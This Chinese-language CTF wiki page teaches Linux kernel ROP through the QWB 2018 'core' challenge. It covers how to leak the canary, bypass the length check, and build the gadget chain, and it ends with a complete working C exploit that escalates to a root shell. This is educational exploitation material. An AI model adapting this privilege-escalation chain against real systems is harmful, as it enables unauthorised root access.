Kernel ROP¶
Warning
The current page still doesn't have a translation for this language.
You can read it through Google Translate.
Besides, you can also help to translate it: Contributing.
ROP即返回导向编程
(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。
内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由 system("/bin/sh")
变为了 commit_creds(&init_cred)
或 commit_creds(prepare_kernel_cred(NULL))
,当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell。
状态保存¶
通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态。
通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:
算是一个通用的pwn板子。
方便起见,使用了内联汇编,由于编写风格是 Intel 汇编,编译时需要指定参数:
-masm=intel
。
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void)
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回用户态¶
由内核态返回用户态只需要:
swapgs
指令恢复用户态GS寄存器sysretq
或者iretq
恢复到用户空间
那么我们只需要在内核中找到相应的gadget并执行 swapgs;iretq
就可以成功着陆回用户态。
通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:
↓ swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
需要注意的是,在返回用户态执行 system()
函数时同样有可能遇到栈不平衡导致函数执行失败并最终 Segmentation Fault 的问题,因此在本地调试时若遇到此类问题,则可以将 user_sp
的值加减 8
以进行调整。
例题:强网杯2018 - core¶
分析¶
题目给了 bzImage
,core.cpio
,start.sh
以及带符号表的 vmlinux
四个文件
前三个文件我们已经知道了作用,vmlinux
则是静态编译,未经过压缩的 kernel 文件,相对应的 bzImage
可以理解为压缩后的文件,更详细的可以看 stackexchange。
vmlinux 是未经压缩的 kernel EFL 文件,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用,这里我们可以使用 ROPgadget 与 ropper 进行提取:
$ ropper --file ./vmlinux --nocolor > gadget_ropper.txt
$ ROPgadget --binary ./vmlinux > gadget_ropgadget.txt
如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。
$ ./extract-vmlinux ./bzImage > vmlinux
$ file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=95c16b8b93624a36f63ef1fada5a9e940b99b470, stripped
首先查看 start.sh ,可以发现内核开启了 kaslr 保护:
$ ls
bzImage core.cpio start.sh vmlinux
$ cat start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
接下来解压 core.cpio
:
$ file core.cpio
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048
$ mkdir core
$ cd core
$ mv ../core.cpio core.cpio.gz
$ gunzip ./core.cpio.gz
$ cpio -idm < ./core.cpio
104379 blocks
接下来查看启动脚本 init
:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
发现了几处有意思的地方:
- 第 9 行中把
kallsyms
的内容保存到了/tmp/kallsyms
中,那么我们就能从/tmp/kallsyms
中读取commit_creds
,prepare_kernel_cred
的函数的地址了。 - 第 10 行把
kptr_restrict
设为 1,这样就不能通过/proc/kallsyms
查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。 - 第 11 行把
dmesg_restrict
设为 1,这样就不能通过dmesg
查看 kernel 的信息了。 - 第 18 行设置了定时关机,为了避免本地做题时产生干扰,我们可以把这句删掉然后重新打包。
同时还发现了一个 shell 脚本 gen_cpio.sh
find . -print0 \
cpio --null -ov --format=newc \
gzip -9 > $1
从名称和内容都可以看出这是一个方便打包的脚本,我们修改好 init 后重新打包,尝试运行 kernel:
$ rm core.cpio
$ ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
./usr/sbin/popmaildir
......
......
./core.cpio
./core.ko
129851 blocks
$ ls
bin core.ko gen_cpio.sh lib linuxrc root sys usr
core.cpio etc init lib64 proc sbin tmp vmlinux
$ mv core.cpio ..
$ cd ..
$ ./start.sh
此时可能会遇到内核运行不起来的问题,从一闪即逝的报错信息中能看到是因为分配的内存过小,此时将启动脚本
start.sh
中-m
分配的 64M 内存改为合适的更大的值(如 256M)即可。
$ checksec filesystem/core.ko
[*] '/home/arttnba3/Data/CTF/Competition/QWB2018/core_give/give_to_player/filesystem/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
模块启动函数 init_module() 注册了 /proc/core
接口:
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk("\x016core: created /proc/core entry\n");
return 0LL;
}
模块注销函数 exit_core() 则会删除 /proc/core
接口:
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
交互函数 core_ioctl() 定义了三条命令,分别是调用 core_read(),core_copy_func() 和设置全局变量 off:
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk("\x016core: %d\n", a3);
off = a3;
break;
case 0x6677889A:
printk("\x016core: called core_copy\n");
core_copy_func(a3);
break;
}
return 0LL;
}
core_read() 从 v4[off]
拷贝 64 个字节到用户空间,由于全局变量 off
是我们能够控制的,因此可以合理的控制 off
来 leak canary 和栈上的一些其他数据:
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n", off, (const void *)a1);
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func() 从全局变量 name
中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16
,但传递的长度是 signed __int64
,因此如果控制传入的长度为负数值如 0xffffffffffff0000|(0x100)
,我们便能绕过检查完成栈溢出:
void __fastcall core_copy_func(signed __int64 a1)
{
char v1[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v2; // [rsp+40h] [rbp-10h]
v2 = __readgsqword(0x28u);
printk("\x016core: called core_writen");
if ( a1 > 63 )
printk("\x016Detect Overflow");
else
qmemcpy(v1, name, (unsigned __int16)a1); // overflow
}
core_write() 向全局变量 name
上写,因此通过 core_write()
和 core_copy_func()
我们便能完成 ROP chain 到内核空间的拷贝与执行:
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
解题思路¶
经过如上的分析,可以得出以下解题思路:
- 通过 ioctl 设置 off,然后通过 core_read() 泄漏出 canary
- 通过 core_write() 向 name 写,构造 ropchain
- 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
- 通过 rop 执行
commit_creds(prepare_kernel_cred(NULL))
进行提权 - 返回用户态,通过 system("/bin/sh") 等起 shell
解释一下:
- 如何获得 commit_creds(),prepare_kernel_cred() 的地址?
- /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址
- 如何返回用户态?
swapgs; iretq
,之前说过需要设置cs, rflags
等信息,可以写一个函数保存这些信息
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status_intel()
{
asm volatile(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// at&t flavor assembly
void save_status_atNt() {
asm volatile(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
Exploit¶
最终的 exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
/**
* Kernel Pwn Infrastructures
**/
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void)
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
log_success("[*] Status has been saved.");
}
void get_root_shell(void)
{
if(getuid()) {
log_error("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}
log_success("[+] Successful to get the root.");
log_info("[*] Execve root shell now...");
system("/bin/sh");
/* to exit the process normally, instead of potential segmentation fault */
exit(EXIT_SUCCESS);
}
/**
* Challenge Interface
**/
void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889B, buf);
}
void set_off_val(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void core_copy(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}
/**
* Exploitation
**/
#define COMMIT_CREDS 0xffffffff8109c8e0
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
void exploitation(void)
{
FILE *ksyms_file;
int fd;
char buf[0x1000], type[0x10];
size_t addr;
size_t canary;
size_t rop_chain[0x100], i;
log_info("[*] Start to exploit...");
save_status();
fd = open("/proc/core", O_RDWR);
if(fd < 0) {
log_error("[x] Failed to open the /proc/core !");
exit(EXIT_FAILURE);
}
/* get addresses of kernel symbols */
log_info("[*] Reading /tmp/kallsyms...");
ksyms_file = fopen("/tmp/kallsyms", "r");
if(ksyms_file == NULL) {
log_error("[x] Failed to open the sym_table file!");
exit(EXIT_FAILURE);
}
while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
if(prepare_kernel_cred && commit_creds) {
break;
}
if(!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf(
SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")
"%lx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf(SUCCESS_MSG(
"[+] Successful to get the addr of prepare_kernel_cred: ")
"%lx\n", prepare_kernel_cred);
continue;
}
}
kernel_offset = commit_creds - COMMIT_CREDS;
kernel_base += kernel_offset;
printf(
SUCCESS_MSG("[+] Got kernel base: ") "%lx"
SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
kernel_base,
kernel_offset
);
/* reading canary value */
log_info("[*] Reading value of kernel stack canary...");
set_off_val(fd, 64);
core_read(fd, buf);
canary = ((size_t*) buf)[0];
printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);
/* building ROP chain */
for(i = 0; i < 10; i++) {
rop_chain[i] = canary;
}
rop_chain[i++] = POP_RDI_RET + kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + kernel_offset; // exec:1
rop_chain[i++] = POP_RCX_RET + kernel_offset; // exec:3
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + kernel_offset; // exec:2
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + kernel_offset;
rop_chain[i++] = (size_t) get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8; // userland stack balance
rop_chain[i++] = user_ss;
/* exploitation */
log_info("[*] Start to execute ROP chain in kernel space...");
write(fd, rop_chain, 0x800);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}
int main(int argc, char ** argv)
{
exploitation();
return 0; /* never arrive here... */
}
Reference and Thanks to¶
https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://blog.csdn.net/gatieme/article/details/78311841
https://bbs.pediy.com/thread-247054.htm